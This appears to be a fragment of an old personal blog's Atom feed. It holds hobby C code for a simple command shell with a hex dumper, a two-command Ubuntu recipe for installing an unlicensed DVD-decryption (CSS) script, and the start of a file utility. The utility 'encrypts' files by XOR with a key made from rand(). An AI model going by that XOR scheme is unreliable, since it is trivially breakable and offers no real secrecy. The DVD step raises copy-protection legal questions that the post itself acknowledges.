&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; if (strcmp ("time", name) ==0 ) {&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;       char buffer[SIZE];&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;       time_t curtime;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;       struct tm *loctime;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;       curtime = time (NULL);&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;       loctime = localtime (&amp;curtime);&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;       fputs (asctime (loctime), stdout);&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;       strftime (buffer, SIZE, "Today is %A, %B %d.\n", loctime);&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;       fputs (buffer, stdout);&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;       strftime (buffer, SIZE, "The time is %I:%M %p.\n", loctime);&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;       fputs (buffer, stdout);&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; } else if (strcmp ("clear", name) ==0 ) {&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;    clrscr();&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; } else if (strcmp ("cls", name) ==0 ) {&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;    clrscr();&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; } else if (strcmp ("typefile", name) ==0 ) {&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;   char  str[SIZE];&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;   FILE * file;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;   file = fopen( argv[1] , "r");&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;    if (file) {&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;       while (fscanf(file, "%s", str)!=EOF)&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;        printf("%s", str);&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;        fclose(file);&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;        }&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; } else if (strcmp ("help", name) ==0 ) {&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;   help_function();&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; } else if (strcmp ("helpme", name) ==0) {&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;   help_function();&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; } else if (strcmp ("cmdlist", name) ==0) {&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;   help_function();&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; } else if (strcmp ("remove", name) ==0) {&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; if(remove(argv[1])) printf("Error: File %s not removed.\n", argv[1]);&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; else&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; printf("File %s removed. \n", argv[1]);&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; } else if (strcmp ("del", name) ==0) {&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; if(remove(argv[1])) printf("Error: file %s not removed.\n", argv[1]);&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; else&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; printf("File %s removed. \n", argv[1]);&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; } else if (strcmp ("rename", name) ==0) {&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; if(rename(argv[1], argv[2]) != 0) {&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; printf("Error: Renameing file %s to %s rename fail!", argv[1], argv[2]); }&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; } else if (strcmp ("hexdump", name) ==0) {&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;   FILE *dumpit;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;   dumpit = fopen(argv[1], "rb");&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;   printFileAsHex(dumpit);&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;   fclose(dumpit);&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; } else if (strcmp ("hex", name) ==0) {&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;   FILE *dumpit;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;   dumpit = fopen(argv[1], "rb");&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;   printFileAsHex(dumpit);&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;   fclose(dumpit);&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; } else if (strcmp ("shell", name) ==0) {&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;   printf("Droping to new bash shell.");&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;   printf("\n\n Note: you have not exited coreline, \n");&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;   printf("type exit to close this bash shell &amp; return to coreline prompt. \n\n");&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;   system("/bin/bash");&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; } else if (strcmp("fortune", name) ==0) {&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;   system("fortune");&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; } else if (strcmp("exit", name) ==0) {&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;   printf("Exiting Program Good bye! \n");&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;   return 0;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; } else if (strcmp("quit", name) ==0) {&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;   printf("Exiting Program Good bye! \n");&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;   return 0;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; }&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; else {&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;}&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;}&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;   return 0;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; }&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;void printFileAsHex(FILE* file)&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;{&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;    int count = 0;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;    char buffer[LINELEN];&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;    while(1)&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;    {&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;        int byteVal = fgetc(file);&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;        if(EOF == byteVal)&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;        {&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;            break;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;        }&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;        buffer[count] = byteVal;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;        count++;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;        if(count &gt;= LINELEN)&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;        {&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;            writeLine(buffer, LINELEN);&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;            count = 0;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;        }&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;    }&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;    if(count &gt; 0)&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;    {&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;        writeLine(buffer, count);&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;    }&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;}&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;char toVisibleCharacter(int byteVal)&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;{&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;    if(byteVal &gt;= 32 &amp;&amp; byteVal &lt;= 126)&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;    {&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;        return (char) byteVal;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;    }&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;    return '_';&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;}&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;void writeLine(char* lineBuffer, int buflen)&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;{&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;    int i;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;    for(i=0; i&lt;buflen; i++)&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;    {&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;        char chu = upperToHex(lineBuffer[i]);&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;        char chl = lowerToHex(lineBuffer[i]);&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;        printf("%c%c", chu, chl);&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;    }&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;    if(buflen &lt; LINELEN)&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;    {&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;        for(i = LINELEN - buflen; i&gt;0; i--)&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;        {&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;            printf("0");&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;        }&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;    }&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;    printf("\t");&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;    for(i=0; i&lt;buflen; i++)&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;    {&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;        char ch = toVisibleCharacter(lineBuffer[i]);&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;        printf("%c", ch);&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;    }&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;    printf("\r\n");&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;}&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;char upperToHex(int byteVal)&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;{&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;    int i = (byteVal &amp; 0xF0) &gt;&gt; 4;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;    return nibbleToHex(i);&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;}&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;char lowerToHex(int byteVal)&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;{&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;    int i = (byteVal &amp; 0x0F);&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;    return nibbleToHex(i);&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;}&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;char nibbleToHex(int nibble)&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;{&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;    const int ascii_zero = 48;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;    const int ascii_a = 65;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;    if((nibble &gt;= 0) &amp;&amp; (nibble &lt;= 9))&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;    {&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;        return (char) (nibble + ascii_zero);&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;    }&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;    if((nibble &gt;= 10) &amp;&amp; (nibble &lt;= 15))&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;    {&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;        return (char) (nibble - 10 + ascii_a);&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;    }&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;    return '?';&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;}&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8077722734519074730-9157286400779466113?l=johnbstoud.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://johnbstoud.blogspot.com/feeds/9157286400779466113/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8077722734519074730&amp;postID=9157286400779466113' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8077722734519074730/posts/default/9157286400779466113'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8077722734519074730/posts/default/9157286400779466113'/><link rel='alternate' type='text/html' href='http://johnbstoud.blogspot.com/2011/01/basic-sub-shell-idea-version-2.html' title=''/><author><name>Johnny Buckallew Stroud</name><uri>http://www.blogger.com/profile/01643173045138469027</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_E7fHbYJHdVo/Sja6THO9VgI/AAAAAAAAAGc/nG2UVi169FU/S220/PICT.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8077722734519074730.post-6740788481052027513</id><published>2010-11-20T19:13:00.000-08:00</published><updated>2010-11-20T19:18:59.082-08:00</updated><title type='text'>Enable DVD Playback in Ubuntu in Two Commands</title><content type='html'>Most guides and tutorials for Ubuntu newcomers can help you get commercial DVDs playing on your system, but only through a series of terminal commands that install new repositories or through the use of Automatix or other automated tools that can sometimes mess up your system's dependencies. How-to site Tech-Recipes.com has been on a bit of a Linux streak lately and ferrets out a two-command, no-repository solution for installing DVD playback. Note: libdvdread3 was the old project and has a new updated software.&lt;br /&gt;&lt;br /&gt;Enter these in your terminal:&lt;br /&gt;&lt;br /&gt;   sudo apt-get install totem-xine libxine1-ffmpeg libdvdread4&lt;br /&gt;   sudo /usr/share/doc/libdvdread4/install-css.sh&lt;br /&gt;&lt;br /&gt;That, should be it. It must be mentioned here that the DVD decrypting tool you're installing is not licensed and definitely not supported by Ubuntu, so it's up to you whether it's kosher to install or not. DVD encryption and decryption was is and always will be a joke.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Power to the free &amp;amp; open source people!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8077722734519074730-6740788481052027513?l=johnbstoud.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://johnbstoud.blogspot.com/feeds/6740788481052027513/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8077722734519074730&amp;postID=6740788481052027513' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8077722734519074730/posts/default/6740788481052027513'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8077722734519074730/posts/default/6740788481052027513'/><link rel='alternate' type='text/html' href='http://johnbstoud.blogspot.com/2010/11/enable-dvd-playback-in-ubuntu-in-two.html' title='Enable DVD Playback in Ubuntu in Two Commands'/><author><name>Johnny Buckallew Stroud</name><uri>http://www.blogger.com/profile/01643173045138469027</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_E7fHbYJHdVo/Sja6THO9VgI/AAAAAAAAAGc/nG2UVi169FU/S220/PICT.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8077722734519074730.post-1312477832069801567</id><published>2010-04-26T15:32:00.003-07:00</published><updated>2010-04-26T15:32:17.726-07:00</updated><title type='text'>A GCC/C++ Project I was working on..</title><content type='html'>&lt;div xmlns='http://www.w3.org/1999/xhtml'&gt;&lt;p&gt;/*&lt;/p&gt;&lt;p&gt;Tested on Ubuntu 9.10&lt;/p&gt;&lt;p/&gt;&lt;p&gt;To Make File: gcc filename.c -o filename&lt;/p&gt;&lt;p&gt;RUN File: ./filename&lt;/p&gt;&lt;p/&gt;&lt;p&gt;The Epic Junk code Project.&lt;/p&gt;&lt;p/&gt;&lt;p&gt;Program Outline:&lt;/p&gt;&lt;p&gt;0. default Options/Help menu.&lt;/p&gt;&lt;p&gt;1. Basic XOR Encrypt / Decrypt Files.&lt;/p&gt;&lt;p&gt;2. Hex Dumper.&lt;/p&gt;&lt;p&gt;3. Overwriting files data &amp;amp; removes file.&lt;/p&gt;&lt;p&gt;*/&lt;/p&gt;&lt;p/&gt;&lt;p&gt;#include &amp;lt;stdio.h&amp;gt;&lt;/p&gt;&lt;p&gt;#include &amp;lt;stdlib.h&amp;gt;&lt;/p&gt;&lt;p&gt;#define KEY_LENGTH 66&lt;/p&gt;&lt;p&gt;#define LINELEN 16&lt;/p&gt;&lt;p&gt;#define overWrite 4.E5&lt;/p&gt;&lt;p/&gt;&lt;p&gt;void printFileAsHex(FILE* file);&lt;/p&gt;&lt;p&gt;char toVisibleCharacter(int byteVal);&lt;/p&gt;&lt;p&gt;void writeLine(char* lineBuffer, int buflen);&lt;/p&gt;&lt;p&gt;char upperToHex(int byteVal);&lt;/p&gt;&lt;p&gt;char lowerToHex(int byteVal);&lt;/p&gt;&lt;p&gt;char nibbleToHex(int nibble);&lt;/p&gt;&lt;p/&gt;&lt;p&gt;#ifdef WIN32&lt;/p&gt;&lt;p&gt;#define CRLF "\r\n"&lt;/p&gt;&lt;p&gt;#else&lt;/p&gt;&lt;p&gt;#define CRLF "\n"&lt;/p&gt;&lt;p&gt;#endif&lt;/p&gt;&lt;p/&gt;&lt;p/&gt;&lt;p&gt;void printFileAsHex(FILE* file)&lt;/p&gt;&lt;p&gt;{&lt;/p&gt;&lt;p&gt;int count = 0;&lt;/p&gt;&lt;p&gt;char buffer[LINELEN];&lt;/p&gt;&lt;p/&gt;&lt;p&gt;while(1)&lt;/p&gt;&lt;p&gt;{&lt;/p&gt;&lt;p&gt;int byteVal = fgetc(file);&lt;/p&gt;&lt;p/&gt;&lt;p&gt;if(EOF == byteVal)&lt;/p&gt;&lt;p&gt;{&lt;/p&gt;&lt;p&gt;break;&lt;/p&gt;&lt;p&gt;}&lt;/p&gt;&lt;p/&gt;&lt;p&gt;buffer[count] = byteVal;&lt;/p&gt;&lt;p&gt;count++;&lt;/p&gt;&lt;p&gt;if(count &amp;gt;= LINELEN)&lt;/p&gt;&lt;p&gt;{&lt;/p&gt;&lt;p&gt;writeLine(buffer, LINELEN);&lt;/p&gt;&lt;p&gt;count = 0;&lt;/p&gt;&lt;p&gt;}&lt;/p&gt;&lt;p&gt;}&lt;/p&gt;&lt;p/&gt;&lt;p&gt;if(count &amp;gt; 0)&lt;/p&gt;&lt;p&gt;{&lt;/p&gt;&lt;p&gt;writeLine(buffer, count);&lt;/p&gt;&lt;p&gt;}&lt;/p&gt;&lt;p&gt;}&lt;/p&gt;&lt;p/&gt;&lt;p&gt;char toVisibleCharacter(int byteVal)&lt;/p&gt;&lt;p&gt;{&lt;/p&gt;&lt;p&gt;if(byteVal &amp;gt;= 32 &amp;amp;&amp;amp; byteVal &amp;lt;= 126)&lt;/p&gt;&lt;p&gt;{&lt;/p&gt;&lt;p&gt;return (char) byteVal;&lt;/p&gt;&lt;p&gt;}&lt;/p&gt;&lt;p/&gt;&lt;p&gt;return '_';&lt;/p&gt;&lt;p&gt;}&lt;/p&gt;&lt;p/&gt;&lt;p&gt;void writeLine(char* lineBuffer, int buflen)&lt;/p&gt;&lt;p&gt;{&lt;/p&gt;&lt;p&gt;int i;&lt;/p&gt;&lt;p/&gt;&lt;p&gt;for(i=0; i&amp;lt;buflen; i++)&lt;/p&gt;&lt;p&gt;{&lt;/p&gt;&lt;p&gt;char chu = upperToHex(lineBuffer[i]);&lt;/p&gt;&lt;p&gt;char chl = lowerToHex(lineBuffer[i]);&lt;/p&gt;&lt;p&gt;printf("%c%c ", chu, chl);&lt;/p&gt;&lt;p&gt;}&lt;/p&gt;&lt;p/&gt;&lt;p&gt;if(buflen &amp;lt; LINELEN)&lt;/p&gt;&lt;p&gt;{&lt;/p&gt;&lt;p&gt;for(i = LINELEN - buflen; i&amp;gt;0; i--)&lt;/p&gt;&lt;p&gt;{&lt;/p&gt;&lt;p&gt;printf(".");&lt;/p&gt;&lt;p&gt;}&lt;/p&gt;&lt;p&gt;}&lt;/p&gt;&lt;p/&gt;&lt;p&gt;printf("\t");&lt;/p&gt;&lt;p/&gt;&lt;p&gt;for(i=0; i&amp;lt;buflen; i++)&lt;/p&gt;&lt;p&gt;{&lt;/p&gt;&lt;p&gt;char ch = toVisibleCharacter(lineBuffer[i]);&lt;/p&gt;&lt;p&gt;printf("%c", ch);&lt;/p&gt;&lt;p&gt;}&lt;/p&gt;&lt;p/&gt;&lt;p&gt;printf(CRLF);&lt;/p&gt;&lt;p&gt;}&lt;/p&gt;&lt;p/&gt;&lt;p&gt;char upperToHex(int byteVal)&lt;/p&gt;&lt;p&gt;{&lt;/p&gt;&lt;p&gt;int i = (byteVal &amp;amp; 0xF0) &amp;gt;&amp;gt; 4;&lt;/p&gt;&lt;p&gt;return nibbleToHex(i);&lt;/p&gt;&lt;p&gt;}&lt;/p&gt;&lt;p/&gt;&lt;p&gt;char lowerToHex(int byteVal)&lt;/p&gt;&lt;p&gt;{&lt;/p&gt;&lt;p&gt;int i = (byteVal &amp;amp; 0x0F);&lt;/p&gt;&lt;p&gt;return nibbleToHex(i);&lt;/p&gt;&lt;p&gt;}&lt;/p&gt;&lt;p/&gt;&lt;p&gt;char nibbleToHex(int nibble)&lt;/p&gt;&lt;p&gt;{&lt;/p&gt;&lt;p&gt;const int ascii_zero = 48;&lt;/p&gt;&lt;p&gt;const int ascii_a = 65;&lt;/p&gt;&lt;p/&gt;&lt;p&gt;if((nibble &amp;gt;= 0) &amp;amp;&amp;amp; (nibble &amp;lt;= 9))&lt;/p&gt;&lt;p&gt;{&lt;/p&gt;&lt;p&gt;return (char) (nibble + ascii_zero);&lt;/p&gt;&lt;p&gt;}&lt;/p&gt;&lt;p&gt;if((nibble &amp;gt;= 10) &amp;amp;&amp;amp; (nibble &amp;lt;= 15))&lt;/p&gt;&lt;p&gt;{&lt;/p&gt;&lt;p&gt;return (char) (nibble - 10 + ascii_a);&lt;/p&gt;&lt;p&gt;}&lt;/p&gt;&lt;p&gt;return '?';&lt;/p&gt;&lt;p&gt;}&lt;/p&gt;&lt;p/&gt;&lt;p&gt;unsigned char Random_Byte(void)&lt;/p&gt;&lt;p&gt;{&lt;/p&gt;&lt;p&gt;double result;&lt;/p&gt;&lt;p/&gt;&lt;p&gt;result = (double) rand() / (double) RAND_MAX;&lt;/p&gt;&lt;p&gt;result = result * 255.0;&lt;/p&gt;&lt;p&gt;return (unsigned char) result;&lt;/p&gt;&lt;p&gt;}&lt;/p&gt;&lt;p/&gt;&lt;p/&gt;&lt;p/&gt;&lt;p&gt;void Crypt(FILE *input, FILE *output)&lt;/p&gt;&lt;p&gt;{&lt;/p&gt;&lt;p&gt;unsigned char key[KEY_LENGTH];&lt;/p&gt;&lt;p&gt;int key_index, in_value;&lt;/p&gt;&lt;p&gt;unsigned char out_value, random_value;&lt;/p&gt;&lt;p&gt;int done;&lt;/p&gt;&lt;p/&gt;&lt;p&gt;for (key_index = 0; key_index &amp;lt; KEY_LENGTH; key_index++)&lt;/p&gt;&lt;p&gt;key[key_index] = Random_Byte();&lt;/p&gt;&lt;p/&gt;&lt;p/&gt;&lt;p&gt;fwrite(key, sizeof(unsigned char), KEY_LENGTH, output);&lt;/p&gt;&lt;p/&gt;&lt;p&gt;done = 